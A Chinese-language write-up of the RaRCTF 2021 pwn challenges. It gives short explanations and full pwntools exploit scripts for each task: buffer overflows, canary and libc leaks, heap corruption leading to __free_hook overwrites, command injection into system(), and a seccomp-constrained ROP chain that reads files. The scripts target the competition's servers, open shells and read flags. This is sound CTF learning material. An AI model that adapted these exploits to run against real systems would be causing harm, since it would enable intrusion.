RaRCTF-PWN-WP

Posted on Aug 10, 2021

一场非常温暖人心的比赛,pwn 题比较简单,也是第一次在比赛里做完了 pwn 题。题目虽然挺简单,但是挺有意思的。做的虽然很累,但是体验尚可。

Archer

这题直接 nc 就可以了

ret2winRaRs

#!/usr/bin/env python
# coding=utf-8
from pwn import *

sh = remote("193.57.159.27", "30527")

sh.sendlineafter("access:", "a" * 0x20 + 'b' * 0x8 + p64(0x0000000000401016) + p64(0x401162))

sh.interactive()

Not That Simple

通过这题学到了可以用 getdents 系统调用读取目录中的文件名。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]
context.os = 'linux'
context.arch = 'amd64'

bss_base = 0x404108

#sh = process("./notsimple")
sh = remote("193.57.159.27", "37284")

sh.recvuntil("leaking! ")
stack_addr = int(sh.recvuntil("\n", drop = True), base = 16)

payload = ""
payload = payload.ljust(0x50, 'a')
payload += 'b' * 8
payload += p64(stack_addr + 0xA0)
payload += 'a' * 0x40
payload += asm(shellcraft.open('.')) 
payload += asm(shellcraft.getdents64(3, bss_base + 0x300, 0x600))
payload += asm(shellcraft.write(1, bss_base + 0x300, 0x600))

#gdb.attach(proc.pidof(sh)[0])
sh.sendlineafter("> ", payload)

sh.interactive()

The Guessing Game

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]

sh = process("./guess")
sh = remote("193.57.159.27", "59624")
elf = ELF("./guess")
libc = ELF("./libc-2.31.so")

guessed_times = 0

def one_guess(idx, val):
    sh.sendlineafter("guessing (0-7)? ", str(idx))
    sh.sendlineafter("guess: ", str(val))
    back = sh.recvuntil("\n", drop = True)
#    log.success(back + " " + hex(val))
    if (back == "You got it!"):
        return 0
    if (back == "Too high!"):
        return 1
    if (back == "Ouch, too low!"):
        return -1

def plain_search(idx):
    l, r = 0, 255
    mid = 0
    while (l <= r):
        mid = (l + r) >> 1
        result = one_guess(idx, mid)
        if (result == 0):
            global guessed_times
            guessed_times = guessed_times + 1
            return mid
        elif (result == -1):
            l = mid + 1
        else:
            r = mid - 1
    return mid

def fancy_search(idx):
    l, r = 0, 255
    mid = 0
    while (l <= r):
        mid = (l + r) >> 1
        result = one_guess(idx, mid)
        if (result == 0):
            global guessed_times
            guessed_times = guessed_times + 1
            return mid
        elif (result == -1):
            second_try = one_guess(idx, mid + 2)
            if (second_try == 1):
                log.success("lucky guess!" + hex(mid + 1))
                return (mid + 1)
            elif (second_try == -1):
                l = mid + 3
            else:
                global guessed_times
                guessed_times = guessed_times + 1
                return (mid + 2)
        else:
            second_try = one_guess(idx, mid - 2)
            if (second_try == -1):
                log.success("lucky guess!" + hex(mid - 1))
                return (mid - 1)
            elif (second_try == 1):
                r = mid - 3
            else:
                global guessed_times
                guessed_times = guessed_times + 1
                return (mid - 2)
    log.success("might failed")
    return mid

def search7byte(start_idx):
    val = 0
    for i in range(7):
        val += int(fancy_search(start_idx + 7 - i))
        val = val << 8
    return val

def search6byte(start_idx):
    if (guessed_times > 8):
        return -1
    val = 0
    for i in range(6):
        val += int(fancy_search(start_idx + 5 - i))
        val = val << 8
    return val >> 8

canary = search7byte(0x20)
log.success("canary: " + hex(canary))
log.success("guessed_times: " + hex(guessed_times))
_start_addr = search6byte(0x10)
log.success("_start: " + hex(_start_addr))
log.success("guessed_times: " + hex(guessed_times))

while(guessed_times < 8):
    plain_search(0)

prog_base = _start_addr - 0x10D0
payload = 'a' * 0x18 + p64(canary) + 'b' * 8 + p64(prog_base + elf.sym["_start"])
sh.sendafter("game? ", payload)

global guessed_times
guessed_times = 0

__libc_start_main = search6byte(0x30) - 243
libc_base = __libc_start_main - libc.sym["__libc_start_main"]
log.success("libc_base: " + hex(libc_base))
while(guessed_times < 8):
    plain_search(0)

payload = 'a' * 0x18 + p64(canary) + 'b' * 8 + p64(libc_base + 0xe6c81)
sh.sendafter("game? ", payload)

#gdb.attach(proc.pidof(sh)[0])


sh.interactive()

leak 出 canary,prog_base,libc_base。接下来有 12 字节溢出,onegadget 可行,就可以 getshell 了。

RaRmony

一直想着拿 shell,但是实际上只要改自己的权限就可以了

即修改这个结构体

struct UserRole
{
  __int32 idx;
  __int32 roleIdx;
  void *set_role;
  char name[32];
  void *update_username;
};

中的 roleIdx 为 0

劫持函数指针为 setRole 可以设置

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]

sh = process("./harmony")

sh.sendlineafter("> ", '3')
sh.sendafter("username: ", '\xFF' * 0x20 + p64(0xEE40153B))

sh.sendlineafter("> ", '3')
sh.sendlineafter("> ", '3')
sh.sendlineafter("> ", '3')

sh.sendlineafter("> ", '0')
sh.sendlineafter("> ", '2')
sh.interactive()

Return of Emoji DB

结构体声明如下

typedef struct __attribute__((__packed__)) EmojiEntry
{
    uint8_t data[4];
    char *title;
} entry;

也就是 data 和 title 紧邻

write(1, entries[index]->data, count_leading_ones(entries[index]->data[0]));
read(0, new_entry->data + 1, count_leading_ones(new_entry->data[0]) - 1);

通过上面的 read 可以写 title 指针的低四个字节 write 可以读出低四个字节

由于是 libc 2.31,所以 double free 可能比较麻烦

double free 不行就做 chunk overlapping

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = 'debug'

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(title, data_1, data_7):
    sh.sendlineafter("\n> ", '1')
    sh.sendafter("title: ", title)
    sh.sendafter("emoji: ", data_1)
    sh.send(data_7)

def read(idx):
    sh.sendlineafter("\n> ", '2')
    sh.sendlineafter("index to read: ", str(idx))

def delete(idx):
    sh.sendlineafter("\n> ", '3')
    sh.sendlineafter("index to delete: ", str(idx))

def garbageCollect():
    sh.sendlineafter("\n> ", '4')

for _ in range(16):
    try:
        #sh = process("./emoji")
        sh = remote("193.57.159.27", "32994")
        for i in range(8):
            add('\n', '\xFF', '\n')

        for i in range(8):
            delete(7 - i)

        garbageCollect()

        add('\n', '\xFF', '\x00\x00\x00\xD0\xa2') # idx: 0
        read(0)

        sh.recvuntil("Title: ")
        libc_base = u64(sh.recv(6).ljust(8, '\x00')) - libc.sym["__malloc_hook"] - 0x70
        __free_hook = libc_base + libc.sym["__free_hook"]
        system_addr = libc_base + libc.sym["system"]
        log.success("libc_base: " + hex(libc_base))
        #gdb.attach(proc.pidof(sh)[0])

        payload = 'a' * 0x50 + p64(0) + p64(0x91)
        add(payload, '\xFF', '\n') # idx: 1

        payload = 'a' * 0x40 + p64(0x21) * 7 # 0x80
        add(payload, '\xFF', '\n') # idx: 2

        add('\n', '\xFF', '\x00\x00\x00\x90\xa4') # idx: 3
        delete(3)
        garbageCollect()
        delete(1)
        garbageCollect()

        payload = 'a' * 0x50 + p64(0) + p64(0x91) + p64(__free_hook)
        add(payload, '\xFF', '\n')

        add('/bin/sh\x00', '\xFF', '\n') # idx: 3
        add(p64(system_addr), '\xFF', '\n') # idx: 4
        delete(3)
        garbageCollect()

        sh.sendline("echo pwned!")
        sh.recvuntil("pwned!")

        sh.sendline("cat flag")

        sh.interactive()
    except:
        sh.close()

boring-flag-runner

和 re boring-flag-checker 有一样的二进制

实现了一个 bf 解释器,空间分配在栈上,没做边界检测,所以可以栈溢出。 远程是没有回显的

timeout 10 ./boring-flag-checker /tmp/$FILENAME > /dev/null

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]

def transOne(op):
    if (op == '>'):
        return '\x00'
    if (op == '<'):
        return '\x02'
    if (op == '+'):
        return '\x07'
    if (op == '-'):
        return '\x06'
    if (op == '.'):
        return '\x05'
    if (op == ','):
        return '\x04'
    if (op == '['):
        return '\x03'
    if (op == ']'):
        return '\x01'

def transAll(code):
    vmcode = ""
    for i in code:
        vmcode += transOne(i)
    return vmcode

code = '>' * (0x130 + 0x8)
code += '>' * 8
mov_0_a = '[-]'
code += (mov_0_a + '>') * 0x28
code += '<' * 0x30
mov_a_ap8 = '[->>>>>>>>+>+<<<<<<<<<]>>>>>>>>>[-<<<<<<<<<+>>>>>>>>>]<<<<<<<<<'
code += (mov_a_ap8 + '>') * 0x20
code += '<' * 0x20 # back

code += '-' * 0x41
code += '>'
code += '-' * 0x5
code += '>' * 7

code += '+' * 0xF7
code += '>'
code += '+' * 0x05
code += '>'
code += '+' * 0x19
code += '>' * 0x6

code += '-' * 0x3a
code += '>'
code += '-' * 0x1a
code += '>' * 7

code += '+' * 0x5D
code += '>'
code += '+' * (0xE3 + 1)
code += '>'
code += '+' * (0x2 + 1)

vmcode = transAll(code)

#sh = process("./boring-flag-checker")
sh = remote("193.57.159.27", "28643")
sh.sendlineafter("program:", vmcode)
#gdb.attach(proc.pidof(sh)[0])

sh.interactive()

有一定概率打不通,打通之后执行 exec 1>&0 把标准输出重定向到标准输入,就可以回显了

Unintended

if ( !strncmp("web", challenges[challenge_num]->category, 3uLL) )
        {
          printf("New challenge description: ");
          v6 = strlen(challenges[challenge_num]->description);
          read(0, challenges[challenge_num]->description, v6);
          puts("Patched challenge!");
          ctftime_rating -= 5;
        }

patch 功能中存在 off-by-one

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]

#sh = process("./unintended")
sh = remote("193.57.159.27", "59314")
libc = ELF("./libc.so.6")

def makeChallenge(number, category, name, desc_size, desc, points):
    sh.sendlineafter("> ", '1')
    sh.sendlineafter("number: ", str(number))
    sh.sendafter("category: ", category)
    sh.sendafter("name: ", name)
    sh.sendlineafter("length: ", str(desc_size))
    sh.sendafter("description: ", desc)
    sh.sendlineafter("Points: ", str(points))

def patchChallenge(number, desc):
    sh.sendlineafter("> ", '2')
    sh.sendlineafter("number: ", str(number))
    sh.sendafter("description: ", desc)

def deployChallenge(number):
    sh.sendlineafter("> ", '3')
    sh.sendlineafter("number: ", str(number))

def takeDownChallenge(number):
    sh.sendlineafter("> ", '4')
    sh.sendlineafter("number: ", str(number))

makeChallenge(0, 'web', 'idx:0', 0x800, 'idx:0', 100)
makeChallenge(1, 'web', 'idx:1', 0x100, 'idx:1', 100)
makeChallenge(2, 'web', 'idx:2', 0x100, 'idx:2', 100)
takeDownChallenge(0) # 22
takeDownChallenge(1) # 19
takeDownChallenge(2) # 16

makeChallenge(0, 'web', 'idx:0', 0x208, 'a'.ljust(0x208, 'a'), 100)
makeChallenge(1, 'web', 'idx:1', 0x5E0, 'aaaaaaaa', 100)
makeChallenge(2, 'web', 'idx:2', 0x100, 'a', 100)

deployChallenge(2)
sh.recvuntil("Description: ")
heap_base = u64(sh.recv(6).ljust(8, '\x00')) - 0xa61
log.success("heap_base: " + hex(heap_base))

deployChallenge(1)
sh.recvuntil("a" * 8)
libc_base = u64(sh.recv(6).ljust(8, '\x00')) - libc.sym["__malloc_hook"] - 0xF0 - 0x470 + 0x80
__free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
log.success("libc_base: " + hex(libc_base)) 

payload = p64(0) + p64(0x21)
payload += p64(heap_base + 0x290 + 0x10) * 2
payload += (p64(0x20) + p64(0x21)) * 10

patchChallenge(0, payload.ljust(0x200, 'a') + p64(0x200) + '\x00') # 11
takeDownChallenge(1) # 8

makeChallenge(3, 'web', 'idx:3', 0x80, 'a', 100)
takeDownChallenge(3) # 5
takeDownChallenge(0) # 2

makeChallenge(0, 'web', 'idx:0', 0x200, p64(0) + p64(0x91) + p64(__free_hook), 100)
makeChallenge(6, 'web', '/bin/sh\x00', 0x80, '/bin/sh\x00', 100)
makeChallenge(7, 'web', '/bin/sh\x00', 0x80, p64(system), 100)
takeDownChallenge(6)
#gdb.attach(proc.pidof(sh)[0])

sh.interactive()

Object Oriented Pwning

SetName 函数中存在堆溢出

void Animal::SetName() {
    printf("What will you name your new animal? ");
    flush();
    unsigned char c;
    int read = 0;
    while ((c = getchar()) != '\n' && read < 64) {
        this->name[read] = c;
        read++;
    }
}

对应的基类定义为

class Animal {
public:
    virtual void Age();
    virtual void PrintInfo();
    virtual int Sell() = 0;
    void Translate();
    void SetName();
    virtual ~Animal() = default;
    char type[16];
    bool dead = false;
    uint8_t max_age;
    uint8_t hunger = 0;
protected:
    uint8_t age = 1;
    char name[16];
};

配合 translate 函数

void Animal::Translate() {
    char buf[1024];
    sprintf(buf, "/usr/games/cowsay -f ./%s.txt 'Feed me!'", this->type);
    system(buf);
}

通过堆溢出修改 type 为 ;/bin/sh;,执行该函数即可

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]

#sh = process("./oop")
sh = remote("193.57.159.27", "25295")

def listAnimal():
    sh.sendlineafter("> ", '1')

def sell(idx):
    sh.sendlineafter("> ", '2')
    sh.sendlineafter("animal? ", str(idx))
    sh.sendlineafter("> ", '1')

def rename(idx, name):
    sh.sendlineafter("> ", '2')
    sh.sendlineafter("animal? ", str(idx))
    sh.sendlineafter("> ", '3')
    sh.sendlineafter("animal? ", name)

def buy(which, name):
    sh.sendlineafter("> ", '3')
    sh.sendlineafter("> ", str(which))
    sh.sendlineafter("animal? ", name)

def translator(idx):
    sh.sendlineafter("> ", '4')
    sh.sendlineafter("> ", '2')
    sh.sendlineafter("animal? ", str(idx))
    sh.sendlineafter("> ", '4')

buy(2, '0')
buy(2, '1')
listAnimal()
listAnimal()
sell(0)
sell(1)

buy(2, '0')
buy(2, '1')
listAnimal()
listAnimal()
sell(0)
sell(1)

buy(1, '0')
buy(1, '1')

#gdb.attach(proc.pidof(sh)[0])
rename(0, 'a' * 0x14 + p64(0) + p64(0x41) + p64(0x404d78) + 'flag')

translator(1)

sh.interactive()

拿 shell 之后不给我回显,不知道为什么,所以就改成读 flag 了。

The Mound

ptmalloc 中的 prev_size 字段即为 key,通过 edit 方法可以多次修改,由此实现 double free。然后分配到 0xdead0008000 - 8 上,改 chunk_start 是可以的,所以可以任意地址分配

主要麻烦在于开启了 seccomp,只能做 orw

from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]

#sh = process("./mound")
sh = remote("193.57.159.27", "41932")
elf = ELF("./mound")
libc = ELF("./libc.so.6")

def add_malloc(idx, payload):
    sh.sendlineafter("> ", '1')
    sh.sendafter("Pile: ", payload)
    sh.sendlineafter("index: ", str(idx))

def add_mound(idx, payload, size):
    sh.sendlineafter("> ", '2')
    sh.sendlineafter("pile: ", str(size))
    sh.sendlineafter("index: ", str(idx))
    sh.sendafter("Pile: ", payload)

def edit(idx, payload):
    sh.sendlineafter("> ", '3')
    sh.sendlineafter("index: ", str(idx))
    sh.sendafter("pile: ", str(payload))

def delete(idx):
    sh.sendlineafter("> ", '4')
    sh.sendlineafter("index: ", str(idx))

add_mound(0, 'a' * 0xF0, 0xF0)
add_mound(1, 'a' * 0xF0, 0xF0)
add_mound(2, 'a' * 0xF0, 0xF0)
add_mound(3, 'a' * 0xF0, 0xF0)
delete(0)
delete(1)
delete(2)
delete(3)

add_malloc(0, 'a' * 0xF7)
add_malloc(1, 'a' * 0xF7)
edit(0, 'a' * 0xF0 + p64(0x00000beef0000010)[:-1])
delete(1)
edit(0, 'b' * 0xF0 + p64(1)[:-1])
delete(1)

add_mound(2, p64(0x00000beef0000010) + p64(0xdead0008008 - 0x10), 0xF0)
add_mound(3, p64(0x00000beef0000010), 0xF0)
add_mound(4, p64(0x00000beef0000010) + p64(0x404068), 0xF0)

payload = p64(elf.sym["win"]) + '.\x00'
add_mound(5, payload, 0x200)

pop_rdi_ret = 0x0000000000401e8b
ret = 0x0000000000401016

rop = 'a' * 0x40 + 'b' * 8
rop += p64(pop_rdi_ret)
rop += p64(elf.got["printf"])
rop += p64(ret)
rop += p64(elf.plt["printf"])
rop += p64(elf.sym["win"])

#gdb.attach(proc.pidof(sh)[0])
sh.sendafter(";)\n", rop)

libc_base = u64(sh.recv(6).ljust(8, '\x00')) - libc.sym["printf"]
log.success("libc_base: " + hex(libc_base))

pop_rax_rdx_rbx_ret = libc_base + 0x0000000000162865
pop_rsi_ret = libc_base + 0x0000000000027529
syscall_ret = libc_base + 0x0000000000066229

rop = 'a' * 0x40 + 'b' * 8
rop += p64(pop_rdi_ret)
rop += p64(0x404080)
rop += p64(pop_rsi_ret)
rop += p64(0)
rop += p64(pop_rax_rdx_rbx_ret)
rop += p64(0) + p64(0) + p64(0)
rop += p64(libc_base + libc.sym["open"])

rop += p64(pop_rdi_ret)
rop += p64(3)
rop += p64(pop_rsi_ret)
rop += p64(0x00000beef0000000)
rop += p64(pop_rax_rdx_rbx_ret)
rop += p64(217) + p64(0x600) + p64(0)
rop += p64(syscall_ret)

rop += p64(pop_rdi_ret)
rop += p64(1)
rop += p64(pop_rsi_ret)
rop += p64(0x00000beef0000000)
rop += p64(pop_rax_rdx_rbx_ret)
rop += p64(0) + p64(0x600) + p64(0)
rop += p64(libc_base + libc.sym["write"])

rop += p64(pop_rdi_ret)
rop += p64(0)
rop += p64(pop_rsi_ret)
rop += p64(0x00000beef0001000)
rop += p64(pop_rax_rdx_rbx_ret)
rop += p64(0) + p64(0x20) + p64(0)
rop += p64(libc_base + libc.sym["read"])

rop += 'a' * 0x40 + 'b' * 8
rop += p64(pop_rdi_ret)
rop += p64(0x00000beef0001000)
rop += p64(pop_rsi_ret)
rop += p64(0)
rop += p64(pop_rax_rdx_rbx_ret)
rop += p64(0) + p64(0) + p64(0)
rop += p64(libc_base + libc.sym["open"])

rop += p64(pop_rdi_ret)
rop += p64(4)
rop += p64(pop_rsi_ret)
rop += p64(0x00000beef0000000)
rop += p64(pop_rax_rdx_rbx_ret)
rop += p64(0) + p64(0x60) + p64(0)
rop += p64(libc_base + libc.sym["read"])

rop += p64(pop_rdi_ret)
rop += p64(1)
rop += p64(pop_rsi_ret)
rop += p64(0x00000beef0000000)
rop += p64(pop_rax_rdx_rbx_ret)
rop += p64(0) + p64(0x60) + p64(0)
rop += p64(libc_base + libc.sym["write"])

sh.sendafter(";)\n", rop)

sh.interactive()

远程把 flag 名字随机掉了,所以用 getdents 先把文件名读出来,然后再 orw。